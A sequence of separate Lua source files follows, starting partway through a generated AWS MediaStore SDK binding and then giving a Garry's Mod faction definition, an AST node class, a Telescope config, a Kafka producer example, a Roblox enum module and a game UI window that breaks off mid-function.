asserts.AssertGetCorsPolicyOutput(struct) assert(struct) assert(type(struct) == "table", "Expected GetCorsPolicyOutput to be of type 'table'") assert(struct["CorsPolicy"], "Expected key CorsPolicy to exist in table") if struct["CorsPolicy"] then asserts.AssertCorsPolicy(struct["CorsPolicy"]) end for k,_ in pairs(struct) do assert(keys.GetCorsPolicyOutput[k], "GetCorsPolicyOutput contains unknown key " .. tostring(k)) end end --- Create a structure of type GetCorsPolicyOutput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * CorsPolicy [CorsPolicy] -- Required key: CorsPolicy -- @return GetCorsPolicyOutput structure as a key-value pair table function M.GetCorsPolicyOutput(args) assert(args, "You must provide an argument table when creating GetCorsPolicyOutput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["CorsPolicy"] = args["CorsPolicy"], } asserts.AssertGetCorsPolicyOutput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteContainerPolicyInput = { ["ContainerName"] = true, nil } function asserts.AssertDeleteContainerPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteContainerPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.DeleteContainerPolicyInput[k], "DeleteContainerPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteContainerPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container that holds the policy.</p> -- Required key: ContainerName -- @return DeleteContainerPolicyInput structure as a key-value pair table function M.DeleteContainerPolicyInput(args) assert(args, "You must provide an argument table when creating DeleteContainerPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertDeleteContainerPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.DeleteCorsPolicyInput = { ["ContainerName"] = true, nil } function asserts.AssertDeleteCorsPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected DeleteCorsPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.DeleteCorsPolicyInput[k], "DeleteCorsPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type DeleteCorsPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container to remove the policy from.</p> -- Required key: ContainerName -- @return DeleteCorsPolicyInput structure as a key-value pair table function M.DeleteCorsPolicyInput(args) assert(args, "You must provide an argument table when creating DeleteCorsPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertDeleteCorsPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.ContainerInUseException = { ["Message"] = true, nil } function asserts.AssertContainerInUseException(struct) assert(struct) assert(type(struct) == "table", "Expected ContainerInUseException to be of type 'table'") if struct["Message"] then asserts.AssertErrorMessage(struct["Message"]) end for k,_ in pairs(struct) do assert(keys.ContainerInUseException[k], "ContainerInUseException contains unknown key " .. tostring(k)) end end --- Create a structure of type ContainerInUseException -- <p>Resource already exists or is being updated.</p> -- @param args Table with arguments in key-value form. -- Valid keys: -- * Message [ErrorMessage] -- @return ContainerInUseException structure as a key-value pair table function M.ContainerInUseException(args) assert(args, "You must provide an argument table when creating ContainerInUseException") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["Message"] = args["Message"], } asserts.AssertContainerInUseException(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end keys.GetCorsPolicyInput = { ["ContainerName"] = true, nil } function asserts.AssertGetCorsPolicyInput(struct) assert(struct) assert(type(struct) == "table", "Expected GetCorsPolicyInput to be of type 'table'") assert(struct["ContainerName"], "Expected key ContainerName to exist in table") if struct["ContainerName"] then asserts.AssertContainerName(struct["ContainerName"]) end for k,_ in pairs(struct) do assert(keys.GetCorsPolicyInput[k], "GetCorsPolicyInput contains unknown key " .. tostring(k)) end end --- Create a structure of type GetCorsPolicyInput -- -- @param args Table with arguments in key-value form. -- Valid keys: -- * ContainerName [ContainerName] <p>The name of the container that the policy is assigned to.</p> -- Required key: ContainerName -- @return GetCorsPolicyInput structure as a key-value pair table function M.GetCorsPolicyInput(args) assert(args, "You must provide an argument table when creating GetCorsPolicyInput") local query_args = { } local uri_args = { } local header_args = { } local all_args = { ["ContainerName"] = args["ContainerName"], } asserts.AssertGetCorsPolicyInput(all_args) return { all = all_args, query = query_args, uri = uri_args, headers = header_args, } end function asserts.AssertContainerName(str) assert(str) assert(type(str) == "string", "Expected ContainerName to be of type 'string'") assert(#str <= 255, "Expected string to be max 255 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.ContainerName(str) asserts.AssertContainerName(str) return str end function asserts.AssertErrorMessage(str) assert(str) assert(type(str) == "string", "Expected ErrorMessage to be of type 'string'") assert(#str <= 255, "Expected string to be max 255 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.ErrorMessage(str) asserts.AssertErrorMessage(str) return str end function asserts.AssertContainerARN(str) assert(str) assert(type(str) == "string", "Expected ContainerARN to be of type 'string'") assert(#str <= 1024, "Expected string to be max 1024 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.ContainerARN(str) asserts.AssertContainerARN(str) return str end function asserts.AssertMethodName(str) assert(str) assert(type(str) == "string", "Expected MethodName to be of type 'string'") end -- function M.MethodName(str) asserts.AssertMethodName(str) return str end function asserts.AssertContainerPolicy(str) assert(str) assert(type(str) == "string", "Expected ContainerPolicy to be of type 'string'") assert(#str <= 8192, "Expected string to be max 8192 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.ContainerPolicy(str) asserts.AssertContainerPolicy(str) return str end function asserts.AssertEndpoint(str) assert(str) assert(type(str) == "string", "Expected Endpoint to be of type 'string'") assert(#str <= 255, "Expected string to be max 255 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.Endpoint(str) asserts.AssertEndpoint(str) return str end function asserts.AssertOrigin(str) assert(str) assert(type(str) == "string", "Expected Origin to be of type 'string'") end -- function M.Origin(str) asserts.AssertOrigin(str) return str end function asserts.AssertPaginationToken(str) assert(str) assert(type(str) == "string", "Expected PaginationToken to be of type 'string'") assert(#str <= 255, "Expected string to be max 255 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.PaginationToken(str) asserts.AssertPaginationToken(str) return str end function asserts.AssertContainerStatus(str) assert(str) assert(type(str) == "string", "Expected ContainerStatus to be of type 'string'") assert(#str <= 16, "Expected string to be max 16 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.ContainerStatus(str) asserts.AssertContainerStatus(str) return str end function asserts.AssertHeader(str) assert(str) assert(type(str) == "string", "Expected Header to be of type 'string'") assert(#str <= 8192, "Expected string to be max 8192 characters") assert(#str >= 1, "Expected string to be min 1 characters") end -- function M.Header(str) asserts.AssertHeader(str) return str end function asserts.AssertMaxAgeSeconds(integer) assert(integer) assert(type(integer) == "number", "Expected MaxAgeSeconds to be of type 'number'") assert(integer % 1 == 0, "Expected a while integer number") assert(integer <= 2147483647, "Expected integer to be max 2147483647") end function M.MaxAgeSeconds(integer) asserts.AssertMaxAgeSeconds(integer) return integer end function asserts.AssertContainerListLimit(integer) assert(integer) assert(type(integer) == "number", "Expected ContainerListLimit to be of type 'number'") assert(integer % 1 == 0, "Expected a while integer number") assert(integer <= 100, "Expected integer to be max 100") assert(integer >= 1, "Expected integer to be min 1") end function M.ContainerListLimit(integer) asserts.AssertContainerListLimit(integer) return integer end function asserts.AssertTimeStamp(timestamp) assert(timestamp) assert(type(timestamp) == "string", "Expected TimeStamp to be of type 'string'") end function M.TimeStamp(timestamp) asserts.AssertTimeStamp(timestamp) return timestamp end function asserts.AssertContainerList(list) assert(list) assert(type(list) == "table", "Expected ContainerList to be of type ''table") for _,v in ipairs(list) do asserts.AssertContainer(v) end end -- -- List of Container objects function M.ContainerList(list) asserts.AssertContainerList(list) return list end function asserts.AssertAllowedOrigins(list) assert(list) assert(type(list) == "table", "Expected AllowedOrigins to be of type ''table") for _,v in ipairs(list) do asserts.AssertOrigin(v) end end -- -- List of Origin objects function M.AllowedOrigins(list) asserts.AssertAllowedOrigins(list) return list end function asserts.AssertAllowedHeaders(list) assert(list) assert(type(list) == "table", "Expected AllowedHeaders to be of type ''table") assert(#list <= 100, "Expected list to be contain 100 elements") for _,v in ipairs(list) do asserts.AssertHeader(v) end end -- -- List of Header objects function M.AllowedHeaders(list) asserts.AssertAllowedHeaders(list) return list end function asserts.AssertAllowedMethods(list) assert(list) assert(type(list) == "table", "Expected AllowedMethods to be of type ''table") for _,v in ipairs(list) do asserts.AssertMethodName(v) end end -- -- List of MethodName objects function M.AllowedMethods(list) asserts.AssertAllowedMethods(list) return list end function asserts.AssertCorsPolicy(list) assert(list) assert(type(list) == "table", "Expected CorsPolicy to be of type ''table") assert(#list <= 100, "Expected list to be contain 100 elements") assert(#list >= 1, "Expected list to be contain 1 elements") for _,v in ipairs(list) do asserts.AssertCorsRule(v) end end -- <p>The CORS policy of the container. </p> -- List of CorsRule objects function M.CorsPolicy(list) asserts.AssertCorsPolicy(list) return list end function asserts.AssertExposeHeaders(list) assert(list) assert(type(list) == "table", "Expected ExposeHeaders to be of type ''table") assert(#list <= 100, "Expected list to be contain 100 elements") for _,v in ipairs(list) do asserts.AssertHeader(v) end end -- -- List of Header objects function M.ExposeHeaders(list) asserts.AssertExposeHeaders(list) return list end local content_type = require "aws-sdk.core.content_type" local request_headers = require "aws-sdk.core.request_headers" local request_handlers = require "aws-sdk.core.request_handlers" local settings = {} local function endpoint_for_region(region, use_dualstack) if not use_dualstack then if region == "us-east-1" then return "mediastore.amazonaws.com" end end local ss = { "mediastore" } if use_dualstack then ss[#ss + 1] = "dualstack" end ss[#ss + 1] = region ss[#ss + 1] = "amazonaws.com" if region == "cn-north-1" then ss[#ss + 1] = "cn" end return table.concat(ss, ".") end function M.init(config) assert(config, "You must provide a config table") assert(config.region, "You must provide a region in the config table") settings.service = M.metadata.endpoint_prefix settings.protocol = M.metadata.protocol settings.region = config.region settings.endpoint = config.endpoint_override or endpoint_for_region(config.region, config.use_dualstack) settings.signature_version = M.metadata.signature_version settings.uri = (config.scheme or "https") .. "://" .. settings.endpoint end -- -- OPERATIONS -- --- Call PutContainerPolicy asynchronously, invoking a callback when done -- @param PutContainerPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.PutContainerPolicyAsync(PutContainerPolicyInput, cb) assert(PutContainerPolicyInput, "You must provide a PutContainerPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.PutContainerPolicy", } for header,value in pairs(PutContainerPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", PutContainerPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call PutContainerPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param PutContainerPolicyInput -- @return response -- @return error_type -- @return error_message function M.PutContainerPolicySync(PutContainerPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.PutContainerPolicyAsync(PutContainerPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call DeleteCorsPolicy asynchronously, invoking a callback when done -- @param DeleteCorsPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.DeleteCorsPolicyAsync(DeleteCorsPolicyInput, cb) assert(DeleteCorsPolicyInput, "You must provide a DeleteCorsPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteCorsPolicy", } for header,value in pairs(DeleteCorsPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", DeleteCorsPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call DeleteCorsPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param DeleteCorsPolicyInput -- @return response -- @return error_type -- @return error_message function M.DeleteCorsPolicySync(DeleteCorsPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.DeleteCorsPolicyAsync(DeleteCorsPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call DeleteContainerPolicy asynchronously, invoking a callback when done -- @param DeleteContainerPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.DeleteContainerPolicyAsync(DeleteContainerPolicyInput, cb) assert(DeleteContainerPolicyInput, "You must provide a DeleteContainerPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteContainerPolicy", } for header,value in pairs(DeleteContainerPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", DeleteContainerPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call DeleteContainerPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param DeleteContainerPolicyInput -- @return response -- @return error_type -- @return error_message function M.DeleteContainerPolicySync(DeleteContainerPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.DeleteContainerPolicyAsync(DeleteContainerPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call GetCorsPolicy asynchronously, invoking a callback when done -- @param GetCorsPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.GetCorsPolicyAsync(GetCorsPolicyInput, cb) assert(GetCorsPolicyInput, "You must provide a GetCorsPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.GetCorsPolicy", } for header,value in pairs(GetCorsPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", GetCorsPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call GetCorsPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param GetCorsPolicyInput -- @return response -- @return error_type -- @return error_message function M.GetCorsPolicySync(GetCorsPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.GetCorsPolicyAsync(GetCorsPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call ListContainers asynchronously, invoking a callback when done -- @param ListContainersInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.ListContainersAsync(ListContainersInput, cb) assert(ListContainersInput, "You must provide a ListContainersInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.ListContainers", } for header,value in pairs(ListContainersInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", ListContainersInput, headers, settings, cb) else cb(false, err) end end --- Call ListContainers synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param ListContainersInput -- @return response -- @return error_type -- @return error_message function M.ListContainersSync(ListContainersInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.ListContainersAsync(ListContainersInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call DescribeContainer asynchronously, invoking a callback when done -- @param DescribeContainerInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.DescribeContainerAsync(DescribeContainerInput, cb) assert(DescribeContainerInput, "You must provide a DescribeContainerInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DescribeContainer", } for header,value in pairs(DescribeContainerInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", DescribeContainerInput, headers, settings, cb) else cb(false, err) end end --- Call DescribeContainer synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param DescribeContainerInput -- @return response -- @return error_type -- @return error_message function M.DescribeContainerSync(DescribeContainerInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.DescribeContainerAsync(DescribeContainerInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call CreateContainer asynchronously, invoking a callback when done -- @param CreateContainerInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.CreateContainerAsync(CreateContainerInput, cb) assert(CreateContainerInput, "You must provide a CreateContainerInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.CreateContainer", } for header,value in pairs(CreateContainerInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", CreateContainerInput, headers, settings, cb) else cb(false, err) end end --- Call CreateContainer synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param CreateContainerInput -- @return response -- @return error_type -- @return error_message function M.CreateContainerSync(CreateContainerInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.CreateContainerAsync(CreateContainerInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call PutCorsPolicy asynchronously, invoking a callback when done -- @param PutCorsPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.PutCorsPolicyAsync(PutCorsPolicyInput, cb) assert(PutCorsPolicyInput, "You must provide a PutCorsPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.PutCorsPolicy", } for header,value in pairs(PutCorsPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", PutCorsPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call PutCorsPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param PutCorsPolicyInput -- @return response -- @return error_type -- @return error_message function M.PutCorsPolicySync(PutCorsPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.PutCorsPolicyAsync(PutCorsPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call DeleteContainer asynchronously, invoking a callback when done -- @param DeleteContainerInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.DeleteContainerAsync(DeleteContainerInput, cb) assert(DeleteContainerInput, "You must provide a DeleteContainerInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.DeleteContainer", } for header,value in pairs(DeleteContainerInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", DeleteContainerInput, headers, settings, cb) else cb(false, err) end end --- Call DeleteContainer synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param DeleteContainerInput -- @return response -- @return error_type -- @return error_message function M.DeleteContainerSync(DeleteContainerInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.DeleteContainerAsync(DeleteContainerInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end --- Call GetContainerPolicy asynchronously, invoking a callback when done -- @param GetContainerPolicyInput -- @param cb Callback function accepting three args: response, error_type, error_message function M.GetContainerPolicyAsync(GetContainerPolicyInput, cb) assert(GetContainerPolicyInput, "You must provide a GetContainerPolicyInput") local headers = { [request_headers.CONTENT_TYPE_HEADER] = content_type.from_protocol(M.metadata.protocol, M.metadata.json_version), [request_headers.AMZ_TARGET_HEADER] = "MediaStore_20170901.GetContainerPolicy", } for header,value in pairs(GetContainerPolicyInput.headers) do headers[header] = value end local request_handler, err = request_handlers.from_protocol_and_method("json", "POST") if request_handler then request_handler(settings.uri, "/", GetContainerPolicyInput, headers, settings, cb) else cb(false, err) end end --- Call GetContainerPolicy synchronously, returning when done -- This assumes that the function is called from within a coroutine -- @param GetContainerPolicyInput -- @return response -- @return error_type -- @return error_message function M.GetContainerPolicySync(GetContainerPolicyInput, ...) local co = coroutine.running() assert(co, "You must call this function from within a coroutine") M.GetContainerPolicyAsync(GetContainerPolicyInput, function(response, error_type, error_message) assert(coroutine.resume(co, response, error_type, error_message)) end) return coroutine.yield() end return M
FACTION.name = "Metropolice Force" FACTION.description = "A metropolice unit working as Civil Protection." FACTION.color = Color(50, 100, 150) FACTION.pay = 10 FACTION.models = {"models/police.mdl"} FACTION.weapons = {"ix_stunstick"} FACTION.isDefault = false FACTION.isGloballyRecognized = true FACTION.runSounds = {[0] = "NPC_MetroPolice.RunFootstepLeft", [1] = "NPC_MetroPolice.RunFootstepRight"} function FACTION:OnCharacterCreated(client, character) local inventory = character:GetInventory() inventory:Add("pistol", 1) inventory:Add("pistolammo", 2) end function FACTION:GetDefaultName(client) return "MPF-RCT." .. Schema:ZeroNumber(math.random(1, 99999), 5), true end function FACTION:OnTransfered(client) local character = client:GetCharacter() character:SetName(self:GetDefaultName()) character:SetModel(self.models[1]) end function FACTION:OnNameChanged(client, oldValue, value) local character = client:GetCharacter() if (!Schema:IsCombineRank(oldValue, "RCT") and Schema:IsCombineRank(value, "RCT")) then character:JoinClass(CLASS_MPR) elseif (!Schema:IsCombineRank(oldValue, "OfC") and Schema:IsCombineRank(value, "OfC")) then character:SetModel("models/policetrench.mdl") elseif (!Schema:IsCombineRank(oldValue, "EpU") and Schema:IsCombineRank(value, "EpU")) then character:JoinClass(CLASS_EMP) character:SetModel("models/leet_police2.mdl") elseif (!Schema:IsCombineRank(oldValue, "DvL") and Schema:IsCombineRank(value, "DvL")) then character:SetModel("models/eliteshockcp.mdl") elseif (!Schema:IsCombineRank(oldValue, "SeC") and Schema:IsCombineRank(value, "SeC")) then character:SetModel("models/sect_police2.mdl") elseif (!Schema:IsCombineRank(oldValue, "SCN") and Schema:IsCombineRank(value, "SCN") or !Schema:IsCombineRank(oldValue, "SHIELD") and Schema:IsCombineRank(value, "SHIELD")) then character:JoinClass(CLASS_MPS) Schema:CreateScanner(client, Schema:IsCombineRank(client:Name(), "SHIELD") and "npc_clawscanner" or nil) end if (!Schema:IsCombineRank(oldValue, "GHOST") and Schema:IsCombineRank(value, "GHOST")) then character:SetModel("models/eliteghostcp.mdl") end end FACTION_MPF = FACTION.index
local SyntaxKind = require("lunar.ast.syntax_kind") local SyntaxNode = require("lunar.ast.syntax_node") local Identifier = setmetatable({}, { __index = SyntaxNode, }) Identifier.__index = setmetatable({}, SyntaxNode) function Identifier.new(start_pos, end_pos, name, type_annotation) return Identifier.constructor(setmetatable({}, Identifier), start_pos, end_pos, name, type_annotation) end function Identifier.constructor(self, start_pos, end_pos, name, type_annotation) SyntaxNode.constructor(self, SyntaxKind.identifier, start_pos, end_pos) self.name = name self.type_annotation = type_annotation return self end return Identifier
-- Telescope local actions = require'telescope.actions' require'telescope'.setup { defaults = { file_sorter = require("telescope.sorters").get_fzy_sorter, prompt_prefix = " >", color_devicons = true, previewer = true, file_previewer = require'telescope.previewers'.vim_buffer_cat.new, grep_previewer = require'telescope.previewers'.vim_buffer_vimgrep.new, qflist_previewer = require'telescope.previewers'.vim_buffer_qflist.new, mappings = { i = { ["<C-j>"] = actions.move_selection_better, ["<C-k>"] = actions.move_selection_worse, ["<Esc>"] = actions.close } } } }
local BROKERS_ADDRESS = { "localhost" } local TOPIC_NAME = "test_topic" local config = require 'rdkafka.config'.create() config["statistics.interval.ms"] = "100" config:set_delivery_cb(function (payload, err) print("Delivery Callback '"..payload.."'") end) config:set_stat_cb(function (payload) print("Stat Callback '"..payload.."'") end) local producer = require 'rdkafka.producer'.create(config) for k, v in pairs(BROKERS_ADDRESS) do producer:brokers_add(v) end local topic_config = require 'rdkafka.topic_config'.create() topic_config["auto.commit.enable"] = "true" local topic = require 'rdkafka.topic'.create(producer, TOPIC_NAME, topic_config) local KAFKA_PARTITION_UA = -1 for i = 0,10 do producer:produce(topic, KAFKA_PARTITION_UA, "this is test message"..tostring(i)) end while producer:outq_len() ~= 0 do producer:poll(10) end
local t = require(script.Parent.Parent.t) local LuaEnum = require(script.Parent.LuaEnum) --[=[ @class LuaEnumCollection A collection of enums and enum collections ]=] local LuaEnumCollection = {} local function isCollectionChild(thing) if t.some(LuaEnumCollection.is, LuaEnum.is)(thing) then return true end return false, "expected a LuaEnum or a LuaEnumCollection, got " .. typeof(thing) end --[=[ @param children { [string]: (LuaEnum | LuaEnumCollection) } @return LuaEnumCollection Creates a new collection ]=] function LuaEnumCollection.new(children) assert(t.map(t.string, isCollectionChild)) local collection = {} for key, value in pairs(children) do collection[key] = value end setmetatable(collection, { __enumCollection = true, __index = function(_, key) error(string.format("Child %q does not existing in EnumCollection", tostring(key))) end, __newindex = function(_, key) error(string.format("Not allowed to set new values in EnumCollection (tried to set %q)", tostring(key))) end, }) table.freeze(collection) return collection end --[=[ @param thing any? @return (boolean, string) Returns whether `thing` is a LuaEnumCollection, plus a reason message if it is not. ]=] function LuaEnumCollection.is(thing) if typeof(thing) ~= "table" then return false, "expected LuaEnumCollection, got " .. typeof(thing) end local meta = getmetatable(thing) if typeof(meta) ~= "table" then return false, "expected LuaEnumCollection, got table" end return meta.__enumCollection ~= nil end -- -- return LuaEnumCollection
---@class ItemInfoShowWindow ---@field idShow number 道具cId local ItemInfoShowWindow = DClass("ItemInfoShowWindow", BaseWindow) _G.ItemInfoShowWindow = ItemInfoShowWindow function ItemInfoShowWindow:ctor(data) Log(string.format("查看道具基础信息 id: %d", data[1])) self.idShow = data[1] self.itemConfig = BagManager.getItemConfigDataById(self.idShow) end ---刷新道具信息界面 ---@param cId number 道具cId function ItemInfoShowWindow:onUpdateUI() if not self.itemConfig then Log(string.format("道具ID:%d 没有找到对应配置文件", self.idShow)) return nil end self:onUpdateNodeItem() self:onUpdateDetail() self:onUpdateGet() end function ItemInfoShowWindow:onInit() self.coverCallBack = self.close self:initNodeItem() self:initNodeDetail() self:initNodeGet() self:onShowNodeDetail(true) self:onUpdateUI() end function ItemInfoShowWindow:initNodeItem() self.img_BgLine = self.nodes.NodeItem.transform:Find("Item/Image_BgLine"):GetComponent(typeof(Image)) self.img_BgLine.gameObject:SetActive(false) self.img_Bg = self.nodes.NodeItem.transform:Find("Item/Image_Bg"):GetComponent(typeof(Image)) self.img_Icon = self.nodes.NodeItem.transform:Find("Item/Image_Icon"):GetComponent(typeof(Image)) self.prefab_Star = self.nodes.NodeItem.transform:Find("Image_StarBG") self.parent_Star = self.nodes.NodeItem.transform:Find("Stars") self.txt_Name = self.nodes.NodeItem.transform:Find("Item/Text_Name"):GetComponent(typeof(Text)) self.listAllStars = {} end function ItemInfoShowWindow:initNodeDetail() self.txt_DesTitle = self.nodes.NodeDetail.transform:Find("Text_D"):GetComponent(typeof(Text)) self.txt_Des = self.nodes.NodeDetail.transform:Find("Text_Des"):GetComponent(typeof(Text)) self.btn_Get = self.nodes.NodeDetail.transform:Find("Button_Get"):GetComponent(typeof(Button)) self:addEventHandler( self.btn_Get.onClick, function() self:onClickGet() end ) end function ItemInfoShowWindow:initNodeGet() self.txt_GetDesTitle = self.nodes.NodeGet.transform:Find("Text_D"):GetComponent(typeof(Text)) self.txt_GetDes = self.nodes.NodeGet.transform:Find("Text_NoGetDes"):GetComponent(typeof(Text)) self.btn_GetDetail = self.nodes.NodeGet.transform:Find("Button_Detail"):GetComponent(typeof(Button)) self:addEventHandler( self.btn_GetDetail.onClick, function() self:onClickDetail() end ) self.content = self.nodes.NodeGet.transform:Find("View/Viewport/ContentV"):GetComponent(typeof(ScrollPoolVertical)) end function ItemInfoShowWindow:onClickGet() self:onShowNodeDetail(false) end function ItemInfoShowWindow:onClickDetail() self:onShowNodeDetail(true) end function ItemInfoShowWindow:onShowNodeDetail(show) self.nodes.NodeDetail.gameObject:SetActive(show) self.nodes.NodeGet.gameObject:SetActive(not show) end ---刷新头像 function ItemInfoShowWindow:onUpdateNodeItem() self.txt_Name.text = self.itemConfig.name local pathQualityLine = string.format("%sGoods_Quality%02d", BagManager.pathItemQuality, self.itemConfig.item_bg) self:setSprite(self.img_BgLine, pathQualityLine) local pathQuality = string.format("%sQuality_Big%02d", BagManager.pathItemQuality, self.itemConfig.item_bg) self:setSprite(self.img_Bg, pathQuality) self:setSprite(self.img_Icon, BagManager.pathItemIcon .. self.itemConfig.item_icon) for key, value in pairs(self.listAllStars) do value.gameObject:SetActive(false) end for i = 1, self.itemConfig.star_max do local starShow = self:getStarObj(i) local star = starShow.transform:Find("Image_Star") star.gameObject:SetActive(self.itemConfig.star >= i) end end --获取可服用的星星 function ItemInfoShowWindow:getStarObj(index) if index > #self.listAllStars then local star = 